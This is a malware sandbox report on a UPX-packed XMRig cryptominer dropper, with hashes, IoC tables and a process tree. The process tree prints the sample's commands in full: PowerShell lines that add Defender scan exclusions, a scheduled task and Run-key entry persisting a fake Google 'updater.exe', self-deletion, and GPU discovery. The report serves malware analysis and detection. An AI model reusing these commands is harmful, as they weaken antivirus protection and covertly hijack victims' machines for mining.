xmrig | ae23dce6045773f7debde8d12221f2e8a0c356a2b048d2863fb35fb0840fde3e

max time kernel
1799s
max time network
1802s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
27/01/2024, 11:19

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General

Target

grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17).exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 3700 created 3412	3700	qM5GMXBk6hJE6Y5e (17).exe	45
PID 3700 created 3412	3700	qM5GMXBk6hJE6Y5e (17).exe	45
PID 3700 created 3412	3700	qM5GMXBk6hJE6Y5e (17).exe	45
PID 3700 created 3412	3700	qM5GMXBk6hJE6Y5e (17).exe	45
PID 2512 created 3412	2512	updater.exe	45
PID 2512 created 3412	2512	updater.exe	45
PID 2512 created 3412	2512	updater.exe	45
PID 2512 created 3412	2512	updater.exe	45
PID 996 created 3412	996	conhost.exe	45
PID 2512 created 3412	2512	updater.exe	45

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 27 IoCs

miner

resource	yara_rule
behavioral6/memory/4640-125-0x00007FF727630000-0x00007FF727E24000-memory.dmp	xmrig
behavioral6/memory/4640-129-0x00007FF727630000-0x00007FF727E24000-memory.dmp	xmrig
behavioral6/memory/4640-130-0x00007FF727630000-0x00007FF727E24000-memory.dmp	xmrig
behavioral6/memory/4640-132-0x00007FF727630000-0x00007FF727E24000-memory.dmp	xmrig
behavioral6/memory/4640-135-0x00007FF727630000-0x00007FF727E24000-memory.dmp	xmrig
behavioral6/memory/4640-138-0x00007FF727630000-0x00007FF727E24000-memory.dmp	xmrig
behavioral6/memory/4640-140-0x00007FF727630000-0x00007FF727E24000-memory.dmp	xmrig
behavioral6/memory/4640-142-0x00007FF727630000-0x00007FF727E24000-memory.dmp	xmrig
behavioral6/memory/4640-144-0x00007FF727630000-0x00007FF727E24000-memory.dmp	xmrig
behavioral6/memory/4640-146-0x00007FF727630000-0x00007FF727E24000-memory.dmp	xmrig
behavioral6/memory/4640-148-0x00007FF727630000-0x00007FF727E24000-memory.dmp	xmrig
behavioral6/memory/4640-150-0x00007FF727630000-0x00007FF727E24000-memory.dmp	xmrig
behavioral6/memory/4640-152-0x00007FF727630000-0x00007FF727E24000-memory.dmp	xmrig
behavioral6/memory/4640-154-0x00007FF727630000-0x00007FF727E24000-memory.dmp	xmrig
behavioral6/memory/4640-156-0x00007FF727630000-0x00007FF727E24000-memory.dmp	xmrig
behavioral6/memory/4640-158-0x00007FF727630000-0x00007FF727E24000-memory.dmp	xmrig
behavioral6/memory/4640-160-0x00007FF727630000-0x00007FF727E24000-memory.dmp	xmrig
behavioral6/memory/4640-162-0x00007FF727630000-0x00007FF727E24000-memory.dmp	xmrig
behavioral6/memory/4640-164-0x00007FF727630000-0x00007FF727E24000-memory.dmp	xmrig
behavioral6/memory/4640-166-0x00007FF727630000-0x00007FF727E24000-memory.dmp	xmrig
behavioral6/memory/4640-168-0x00007FF727630000-0x00007FF727E24000-memory.dmp	xmrig
behavioral6/memory/4640-176-0x00007FF727630000-0x00007FF727E24000-memory.dmp	xmrig
behavioral6/memory/4640-178-0x00007FF727630000-0x00007FF727E24000-memory.dmp	xmrig
behavioral6/memory/4640-180-0x00007FF727630000-0x00007FF727E24000-memory.dmp	xmrig
behavioral6/memory/4640-182-0x00007FF727630000-0x00007FF727E24000-memory.dmp	xmrig
behavioral6/memory/4640-184-0x00007FF727630000-0x00007FF727E24000-memory.dmp	xmrig
behavioral6/memory/4640-186-0x00007FF727630000-0x00007FF727E24000-memory.dmp	xmrig

Executes dropped EXE 1 IoCs

pid	Process
2512	updater.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral6/memory/4640-122-0x00007FF727630000-0x00007FF727E24000-memory.dmp	upx
behavioral6/memory/4640-125-0x00007FF727630000-0x00007FF727E24000-memory.dmp	upx
behavioral6/memory/4640-129-0x00007FF727630000-0x00007FF727E24000-memory.dmp	upx
behavioral6/memory/4640-130-0x00007FF727630000-0x00007FF727E24000-memory.dmp	upx
behavioral6/memory/4640-132-0x00007FF727630000-0x00007FF727E24000-memory.dmp	upx
behavioral6/memory/4640-135-0x00007FF727630000-0x00007FF727E24000-memory.dmp	upx
behavioral6/memory/4640-138-0x00007FF727630000-0x00007FF727E24000-memory.dmp	upx
behavioral6/memory/4640-140-0x00007FF727630000-0x00007FF727E24000-memory.dmp	upx
behavioral6/memory/4640-142-0x00007FF727630000-0x00007FF727E24000-memory.dmp	upx
behavioral6/memory/4640-144-0x00007FF727630000-0x00007FF727E24000-memory.dmp	upx
behavioral6/memory/4640-146-0x00007FF727630000-0x00007FF727E24000-memory.dmp	upx
behavioral6/memory/4640-148-0x00007FF727630000-0x00007FF727E24000-memory.dmp	upx
behavioral6/memory/4640-150-0x00007FF727630000-0x00007FF727E24000-memory.dmp	upx
behavioral6/memory/4640-152-0x00007FF727630000-0x00007FF727E24000-memory.dmp	upx
behavioral6/memory/4640-154-0x00007FF727630000-0x00007FF727E24000-memory.dmp	upx
behavioral6/memory/4640-156-0x00007FF727630000-0x00007FF727E24000-memory.dmp	upx
behavioral6/memory/4640-158-0x00007FF727630000-0x00007FF727E24000-memory.dmp	upx
behavioral6/memory/4640-160-0x00007FF727630000-0x00007FF727E24000-memory.dmp	upx
behavioral6/memory/4640-162-0x00007FF727630000-0x00007FF727E24000-memory.dmp	upx
behavioral6/memory/4640-164-0x00007FF727630000-0x00007FF727E24000-memory.dmp	upx
behavioral6/memory/4640-166-0x00007FF727630000-0x00007FF727E24000-memory.dmp	upx
behavioral6/memory/4640-168-0x00007FF727630000-0x00007FF727E24000-memory.dmp	upx
behavioral6/memory/4640-170-0x00007FF727630000-0x00007FF727E24000-memory.dmp	upx
behavioral6/memory/4640-172-0x00007FF727630000-0x00007FF727E24000-memory.dmp	upx
behavioral6/memory/4640-174-0x00007FF727630000-0x00007FF727E24000-memory.dmp	upx
behavioral6/memory/4640-176-0x00007FF727630000-0x00007FF727E24000-memory.dmp	upx
behavioral6/memory/4640-178-0x00007FF727630000-0x00007FF727E24000-memory.dmp	upx
behavioral6/memory/4640-180-0x00007FF727630000-0x00007FF727E24000-memory.dmp	upx
behavioral6/memory/4640-182-0x00007FF727630000-0x00007FF727E24000-memory.dmp	upx
behavioral6/memory/4640-184-0x00007FF727630000-0x00007FF727E24000-memory.dmp	upx
behavioral6/memory/4640-186-0x00007FF727630000-0x00007FF727E24000-memory.dmp	upx

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2512 set thread context of 996	2512	updater.exe	112
PID 2512 set thread context of 4640	2512	updater.exe	117

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Chrome\updater.exe	qM5GMXBk6hJE6Y5e (17).exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4012	WMIC.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe

Suspicious behavior: EnumeratesProcesses 30 IoCs

pid	Process
3700	qM5GMXBk6hJE6Y5e (17).exe
3700	qM5GMXBk6hJE6Y5e (17).exe
3960	powershell.exe
3960	powershell.exe
3700	qM5GMXBk6hJE6Y5e (17).exe
3700	qM5GMXBk6hJE6Y5e (17).exe
512	powershell.exe
512	powershell.exe
3700	qM5GMXBk6hJE6Y5e (17).exe
3700	qM5GMXBk6hJE6Y5e (17).exe
3700	qM5GMXBk6hJE6Y5e (17).exe
3700	qM5GMXBk6hJE6Y5e (17).exe
4384	powershell.exe
4384	powershell.exe
2512	updater.exe
2512	updater.exe
4904	powershell.exe
4904	powershell.exe
2512	updater.exe
2512	updater.exe
2632	powershell.exe
2632	powershell.exe
2512	updater.exe
2512	updater.exe
2512	updater.exe
2512	updater.exe
996	conhost.exe
996	conhost.exe
2512	updater.exe
2512	updater.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3960	powershell.exe
Token: SeDebugPrivilege	512	powershell.exe
Token: SeIncreaseQuotaPrivilege	512	powershell.exe
Token: SeSecurityPrivilege	512	powershell.exe
Token: SeTakeOwnershipPrivilege	512	powershell.exe
Token: SeLoadDriverPrivilege	512	powershell.exe
Token: SeSystemProfilePrivilege	512	powershell.exe
Token: SeSystemtimePrivilege	512	powershell.exe
Token: SeProfSingleProcessPrivilege	512	powershell.exe
Token: SeIncBasePriorityPrivilege	512	powershell.exe
Token: SeCreatePagefilePrivilege	512	powershell.exe
Token: SeBackupPrivilege	512	powershell.exe
Token: SeRestorePrivilege	512	powershell.exe
Token: SeShutdownPrivilege	512	powershell.exe
Token: SeDebugPrivilege	512	powershell.exe
Token: SeSystemEnvironmentPrivilege	512	powershell.exe
Token: SeRemoteShutdownPrivilege	512	powershell.exe
Token: SeUndockPrivilege	512	powershell.exe
Token: SeManageVolumePrivilege	512	powershell.exe
Token: 33	512	powershell.exe
Token: 34	512	powershell.exe
Token: 35	512	powershell.exe
Token: 36	512	powershell.exe
Token: SeIncreaseQuotaPrivilege	512	powershell.exe
Token: SeSecurityPrivilege	512	powershell.exe
Token: SeTakeOwnershipPrivilege	512	powershell.exe
Token: SeLoadDriverPrivilege	512	powershell.exe
Token: SeSystemProfilePrivilege	512	powershell.exe
Token: SeSystemtimePrivilege	512	powershell.exe
Token: SeProfSingleProcessPrivilege	512	powershell.exe
Token: SeIncBasePriorityPrivilege	512	powershell.exe
Token: SeCreatePagefilePrivilege	512	powershell.exe
Token: SeBackupPrivilege	512	powershell.exe
Token: SeRestorePrivilege	512	powershell.exe
Token: SeShutdownPrivilege	512	powershell.exe
Token: SeDebugPrivilege	512	powershell.exe
Token: SeSystemEnvironmentPrivilege	512	powershell.exe
Token: SeRemoteShutdownPrivilege	512	powershell.exe
Token: SeUndockPrivilege	512	powershell.exe
Token: SeManageVolumePrivilege	512	powershell.exe
Token: 33	512	powershell.exe
Token: 34	512	powershell.exe
Token: 35	512	powershell.exe
Token: 36	512	powershell.exe
Token: SeIncreaseQuotaPrivilege	512	powershell.exe
Token: SeSecurityPrivilege	512	powershell.exe
Token: SeTakeOwnershipPrivilege	512	powershell.exe
Token: SeLoadDriverPrivilege	512	powershell.exe
Token: SeSystemProfilePrivilege	512	powershell.exe
Token: SeSystemtimePrivilege	512	powershell.exe
Token: SeProfSingleProcessPrivilege	512	powershell.exe
Token: SeIncBasePriorityPrivilege	512	powershell.exe
Token: SeCreatePagefilePrivilege	512	powershell.exe
Token: SeBackupPrivilege	512	powershell.exe
Token: SeRestorePrivilege	512	powershell.exe
Token: SeShutdownPrivilege	512	powershell.exe
Token: SeDebugPrivilege	512	powershell.exe
Token: SeSystemEnvironmentPrivilege	512	powershell.exe
Token: SeRemoteShutdownPrivilege	512	powershell.exe
Token: SeUndockPrivilege	512	powershell.exe
Token: SeManageVolumePrivilege	512	powershell.exe
Token: 33	512	powershell.exe
Token: 34	512	powershell.exe
Token: 35	512	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4144 wrote to memory of 1672	4144	cmd.exe	102
PID 4144 wrote to memory of 1672	4144	cmd.exe	102
PID 4384 wrote to memory of 1880	4384	powershell.exe	105
PID 4384 wrote to memory of 1880	4384	powershell.exe	105
PID 2512 wrote to memory of 996	2512	updater.exe	112
PID 1280 wrote to memory of 4012	1280	cmd.exe	113
PID 1280 wrote to memory of 4012	1280	cmd.exe	113
PID 2512 wrote to memory of 4640	2512	updater.exe	117

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3412
- C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (17).exe
  "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (17).exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:3700
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3960
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:512
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (17).exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4144
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4384
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:1880
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:4904
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:2632
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:996
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:640
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  PID:4640
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:1280

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:1672

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2512

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
PID:4012

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
1.5MB

MD5
b44517a241eeccaad751d85436d4a72b

SHA1
9b127fadac2c5b7136c794a7922922d6f816f4c6

SHA256
2e8ddf563d2738300ea834573a78358448078031ad669e0aeb785ed8f5826f31

SHA512
ef913fa4c6b6b24916119418a9ff149728a7f5054e803efad174ab71aef2ea1d653ea47bf159a3108f10bf71df3e2d9f8b586f473654c27a985d0e0ac171da64

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
763KB

MD5
8c24fd88c4c468f12f1833986be57ee6

SHA1
7cb79bf181ff69f55af8656e236183ebf09109c5

SHA256
7ddc26e9ed0ad9c88b18dff7f1a11df865b07b1b6ca1fec4fe9a6db11705a74f

SHA512
f1ae05cb8d91ad4590c09ad4dbba6f3cbebac3b8e54a8ec8e1e29dd6156bfe7813abe6ba9e63d30bdbdda7e02b9e254859b0ecc04a59fc20ebbad89db9031ae2

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
226B

MD5
fdba80d4081c28c65e32fff246dc46cb

SHA1
74f809dedd1fc46a3a63ac9904c80f0b817b3686

SHA256
b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398

SHA512
b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
